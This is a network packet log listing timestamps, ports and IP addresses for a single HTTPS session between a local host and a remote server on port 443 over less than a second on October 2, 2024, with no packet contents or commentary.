Oct 2, 2024 06:11:47.855000019 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.855017900 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.855070114 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.855077028 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.855149031 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.918411016 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.918441057 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.918486118 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.918505907 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.918519020 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.918550968 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.929333925 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.929352999 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.929402113 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.929410934 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.929442883 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.929466963 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.930929899 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.930958986 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.930993080 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.931006908 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.931075096 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.931111097 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.931588888 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.931608915 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.931668997 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.931679010 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.931720018 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.932131052 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.932168961 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.932192087 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.932200909 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.932214975 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.932239056 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.944644928 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.944700956 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.944732904 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.944746017 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.944771051 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.944791079 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.945038080 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.945060968 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.945096016 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.945102930 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.945131063 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.945153952 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.945422888 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.945440054 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.945491076 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.945499897 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.945538998 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.008896112 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.008919001 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.008980989 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.009041071 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.009083033 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.009111881 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.020387888 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.020409107 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.020474911 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.020490885 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.020507097 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.020534992 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.021709919 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.021728992 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.021795988 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.021805048 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.021842957 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.022428989 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.022452116 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.022511005 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.022516966 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.022543907 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.022558928 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.022787094 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.022805929 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.022847891 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.022855043 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.022883892 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.022903919 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.035315990 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.035343885 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.035378933 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.035398960 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.035415888 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.035434961 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.036010027 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.036026955 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.036084890 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.036092997 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.036134958 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.036360979 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.036377907 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.036434889 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.036442995 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.036498070 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.110743046 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.110774040 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.110819101 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.110835075 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.110856056 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.110882044 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.112006903 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.112039089 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.112102032 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.112107992 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.112162113 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.112180948 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.112519026 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.112541914 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.112585068 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.112592936 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.112622976 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.112644911 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.112971067 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.112991095 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.113032103 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.113039017 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.113071918 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.113091946 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.113519907 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.113538027 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.113590956 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.113599062 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.113637924 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.126247883 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.126270056 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.126317978 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.126333952 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.126346111 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.126370907 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.126768112 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.126786947 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.126836061 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.126843929 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.126871109 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.126898050 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.127190113 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.127209902 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.127245903 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.127254009 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.127286911 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.127298117 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.201241970 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.201267958 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.201313972 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.201325893 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.201363087 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.201385021 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.202670097 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.202712059 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.202735901 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.202743053 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.202784061 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.203305960 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.203330994 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.203360081 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.203368902 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.203407049 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.203414917 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.203871965 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.203891993 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.203946114 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.203953981 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.203999043 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.204269886 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.204291105 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.204348087 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.204355955 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.204396963 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.216980934 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.217025995 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.217056990 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.217065096 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.217087984 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.217109919 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.217690945 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.217708111 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.217761993 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.217768908 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.217792034 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.217820883 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.218266964 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.218285084 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.218334913 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.218343019 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.218384981 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.292118073 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.292165995 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.292227983 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.292237997 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.292283058 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.293466091 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.293488026 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.293570995 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.293577909 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.293670893 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.293991089 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.294013977 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.294064045 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.294073105 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.294112921 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.295018911 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.295036077 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.295084953 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.295092106 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.295130014 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.295571089 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.295588017 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.295623064 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.295629978 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.295660019 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.295679092 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.307720900 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.307739973 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.307787895 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.307794094 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.307833910 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.308449030 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.308470011 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.308542013 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.308547974 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.308588028 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.308785915 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.308811903 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.308856964 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.308864117 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.308896065 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.308917046 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.382823944 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.382847071 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.382889986 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.382899046 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.382935047 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.382956028 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.384236097 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.384260893 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.384318113 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.384325981 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.384368896 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.385535955 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.385551929 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.385617018 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.385623932 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.385653973 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.385674000 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.386183023 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.386202097 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.386250973 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.386257887 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.386279106 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.386302948 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.386513948 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.386532068 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.386581898 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.386590004 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.386605978 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.386632919 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.402033091 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.402051926 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.402090073 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.402097940 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.402132034 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.402149916 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.402543068 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.402559042 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.402604103 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.402611017 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.402642012 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.402661085 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.403191090 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.403208017 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.403270960 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.403276920 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.403285980 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.403346062 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.473562956 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.473581076 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.473665953 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.473678112 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.473843098 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.474805117 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.474822998 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.474869967 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.474878073 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.474929094 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.476272106 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.476289034 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.476339102 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.476346016 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.476367950 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.476389885 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.476807117 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.476826906 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.476881027 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.476887941 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.476923943 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.476943970 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.477435112 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.477452993 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.477494955 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.477502108 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.477531910 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.477552891 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.492846012 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.492863894 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.492993116 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.493001938 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.493165970 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.493288994 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.493326902 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.493356943 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.493364096 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.493402004 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.493465900 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.493916988 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.493937016 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.493980885 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.493988037 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.493999958 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.494029045 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.564213991 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.564239979 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.564307928 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.564321041 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.564371109 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.565526009 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.565541983 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.565606117 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.565613031 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.565661907 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.566941023 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.566963911 CEST	443	49723	167.114.14.168	192.168.2.8
